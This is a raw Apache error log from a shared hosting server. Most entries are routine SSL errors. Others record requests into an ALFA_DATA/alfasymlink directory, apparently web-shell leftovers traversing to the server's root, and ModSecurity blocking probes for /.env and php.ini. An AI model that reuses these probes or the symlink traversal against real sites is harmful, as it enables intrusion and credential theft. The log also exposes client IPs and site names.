[Mon Oct 26 14:07:06.988168 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.218.103.254:3393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:10.948628 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 34.231.181.240:18329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:14.765390 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.204.253.129:30748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:18.727043 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 100.24.149.244:64277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:26.967722 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 34.206.249.188:39781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/bind
[Mon Oct 26 14:07:34.897995 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.91.122.193:53807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:38.809517 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.22.87.224:23776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:54.844247 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.192.125.239:61888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:07:59.029232 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 98.83.94.113:34735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:08:11.520366 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 100.28.204.82:37163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:08:19.026791 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 52.45.29.57:41883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/serial/new_id
[Mon Oct 26 14:08:27.055562 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.200.142.199:48603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:08:44.723454 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 85.208.96.210:39086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/red_zone
[Mon Oct 26 14:08:47.281481 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 23.23.212.212:32090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_mid/uevent
[Mon Oct 26 14:08:55.159283 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 44.221.227.90:38125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/uevent
[Mon Oct 26 14:09:07.539472 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 3.81.253.213:47605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/remove
[Mon Oct 26 14:09:11.328374 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 98.82.59.253:32044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:09:23.601048 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 100.28.57.133:50831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:09:27.449708 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 3.89.176.255:10907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/vmd/unbind
[Mon Oct 26 14:09:39.393127 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.163.136.244:61429] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:09:47.479943 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 34.194.226.74:39140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:00.792687 2026] [security2:error] [pid 3064975:tid 3064975] [client 111.119.188.171:40190] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/proyecto.php"] [unique_id "at-XeMdX-waAlDqXJHtT6gAAABY"], referer: https://parkeranders.com/
[Mon Oct 26 14:10:02.509914 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.199:54554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/shrink
[Mon Oct 26 14:10:03.396878 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 34.194.233.48:40142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:04.280166 2026] [core:error] [pid 3074880:tid 3074880] (13)Permission denied: [client 185.191.171.12:42630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/align
[Mon Oct 26 14:10:11.843359 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 52.71.46.142:9378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:15.389341 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 34.235.239.240:32591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:17.792489 2026] [security2:error] [pid 3065807:tid 3065807] [client 138.122.249.122:34026] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok7.php"] [unique_id "at-XiRjIL9Z3tuLhXUCtBAAAAAc"], referer: https://parkeranders.com/
[Mon Oct 26 14:10:27.420882 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 98.83.178.66:45702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:27.421078 2026] [security2:error] [pid 3058816:tid 3058816] [client 98.83.178.66:45702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/physical_node/consistent_dma_mask_bits"] [unique_id "at-Xk8-doU5lRL_NAI8OsQAAAAE"]
[Mon Oct 26 14:10:27.421115 2026] [security2:error] [pid 3058816:tid 3058816] [client 98.83.178.66:45702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/physical_node/consistent_dma_mask_bits"] [unique_id "at-Xk8-doU5lRL_NAI8OsQAAAAE"]
[Mon Oct 26 14:10:31.526734 2026] [security2:error] [pid 3065807:tid 3065807] [client 44.214.19.8:57619] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/"] [unique_id "at-XlxjIL9Z3tuLhXUCtBQAAAAc"]
[Mon Oct 26 14:10:31.526791 2026] [security2:error] [pid 3065807:tid 3065807] [client 44.214.19.8:57619] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/"] [unique_id "at-XlxjIL9Z3tuLhXUCtBQAAAAc"]
[Mon Oct 26 14:10:35.476427 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.174.141.243:38492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:39.566839 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.235.191.179:29170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:43.665014 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.218.35.239:15104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:10:59.614734 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 44.193.115.232:63963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:02.756233 2026] [authz_core:error] [pid 3065808:tid 3065808] [client 8.216.3.2:45578] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:11:03.258498 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.15:52054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/reclaim_account
[Mon Oct 26 14:11:07.586525 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 18.213.240.226:40707] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:08.403450 2026] [authz_core:error] [pid 3064909:tid 3064909] [client 8.216.3.2:22018] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:11:11.928282 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.144.185.255:49918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:19.886085 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.156.124.2:32430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:27.607054 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 35.168.238.50:19092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:32.021637 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 85.208.96.195:10826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/type
[Mon Oct 26 14:11:35.595854 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 3.215.59.93:27068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:52.162231 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 44.207.252.58:64125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:11:55.719891 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 44.215.231.15:54056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:11.875207 2026] [ssl:error] [pid 3074880:tid 3074880] (70014)End of file found: [client 98.84.70.201:28343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:20.002805 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.209.35.147:7593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:20.003131 2026] [security2:error] [pid 3058816:tid 3058816] [client 44.209.35.147:7593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/26/power"] [unique_id "at-YBM-doU5lRL_NAI8OtwAAAAE"]
[Mon Oct 26 14:12:20.003194 2026] [security2:error] [pid 3058816:tid 3058816] [client 44.209.35.147:7593] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/26/power"] [unique_id "at-YBM-doU5lRL_NAI8OtwAAAAE"]
[Mon Oct 26 14:12:23.965276 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 18.211.39.188:1976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:27.947602 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 34.233.219.155:32766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:29.313114 2026] [security2:error] [pid 3052342:tid 3052342] [client 129.159.56.14:46628] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-YDXNsi4cqo2ItOKd_2AAAAAM"]
[Mon Oct 26 14:12:29.313333 2026] [security2:error] [pid 3052342:tid 3052342] [client 129.159.56.14:46628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-YDXNsi4cqo2ItOKd_2AAAAAM"]
[Mon Oct 26 14:12:29.313641 2026] [security2:error] [pid 3052342:tid 3052342] [client 129.159.56.14:46628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-YDXNsi4cqo2ItOKd_2AAAAAM"]
[Mon Oct 26 14:12:39.881048 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 54.145.82.217:19819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:43.829067 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.226.106.93:10763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:44.567487 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 85.208.96.198:42176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:12:56.311692 2026] [security2:error] [pid 3064918:tid 3064918] [client 41.132.47.155:40158] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/class.pop3.php"] [unique_id "at-YKLOTOqUhLlGpMrXZgwAAABM"], referer: https://parkeranders.com/
[Mon Oct 26 14:12:58.166081 2026] [core:error] [pid 3077536:tid 3077536] (13)Permission denied: [client 185.191.171.3:28148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objects
[Mon Oct 26 14:13:03.979515 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.84.161.62:48712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:08.702393 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 100.29.63.24:6500] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:09.277194 2026] [authz_core:error] [pid 3077536:tid 3077536] [client 207.46.13.54:23521] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:13:12.140838 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 3.215.59.93:52502] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:15.964370 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 52.71.218.25:64678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:20.037420 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.208.156.9:33369] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:28.329076 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 54.197.102.71:33881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:32.016996 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.221.37.41:26913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:35.962391 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 52.203.152.231:7186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:13:56.523024 2026] [security2:error] [pid 3074872:tid 3074872] [client 34.239.197.197:46414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0103:00/"] [unique_id "at-YZFsyD1ZSVE1PutLlpAAAAAQ"]
[Mon Oct 26 14:13:56.523080 2026] [security2:error] [pid 3074872:tid 3074872] [client 34.239.197.197:46414] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/PNP0103:00/"] [unique_id "at-YZFsyD1ZSVE1PutLlpAAAAAQ"]
[Mon Oct 26 14:13:59.818259 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 44.209.187.99:15995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource1
[Mon Oct 26 14:14:04.221796 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 52.202.233.37:46325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/cpu_partial
[Mon Oct 26 14:14:04.428723 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 185.191.171.8:33716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/partial
[Mon Oct 26 14:14:08.092388 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 50.16.216.166:33479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:16.360974 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 50.16.72.185:54571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:1b/subsystem/uevent
[Mon Oct 26 14:14:20.082208 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 107.23.62.75:32751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:23.156391 2026] [security2:error] [pid 3064918:tid 3064918] [client 43.130.47.33:56878] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/lentes1/"] [unique_id "at-Yf7OTOqUhLlGpMrXZhwAAABM"]
[Mon Oct 26 14:14:28.070551 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.83.240.58:56145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:31.873729 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.87.95.7:44104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:44.268646 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 44.194.139.149:1039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:48.042864 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 18.206.47.187:5563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:53.062609 2026] [security2:error] [pid 3065808:tid 3065808] [client 170.231.3.184:12135] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_chihuahua_1.html"] [unique_id "at-YndBD9nokEg9_vmbNUwAAAAk"], referer: https://parkeranders.com/
[Mon Oct 26 14:14:59.781950 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 52.44.148.203:65330] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:14:59.869471 2026] [security2:error] [pid 3074873:tid 3074873] [client 103.78.254.209:36390] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at-YoyE-ZP4qhScpL9OOIAAAAAU"], referer: https://parkeranders.com/
[Mon Oct 26 14:15:03.935451 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.3.102.51:54862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:23.955149 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.83.240.58:58714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:31.783922 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 34.231.45.47:49708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:36.086853 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.229.164.203:15700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:37.883550 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-YvQz1n6jB6fkqe7GmEQAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:15:37.883612 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-YvQz1n6jB6fkqe7GmEQAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:15:39.776623 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 23.21.179.120:62492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/remove_id
[Mon Oct 26 14:15:43.927155 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 54.87.62.248:25780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory11/node0/cpu1/crash_notes
[Mon Oct 26 14:15:48.042686 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 54.166.104.83:53015] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:57.575330 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 85.208.96.197:56476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/shrink
[Mon Oct 26 14:15:58.028166 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.230.124.21:45008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:15:59.940623 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.226.89.140:14592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:16:08.017054 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.156.124.2:22289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:16:11.802370 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.29.160.53:42397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:16:27.830025 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.73.6.26:3452] AH02013: coalesce failed to read from data bucket
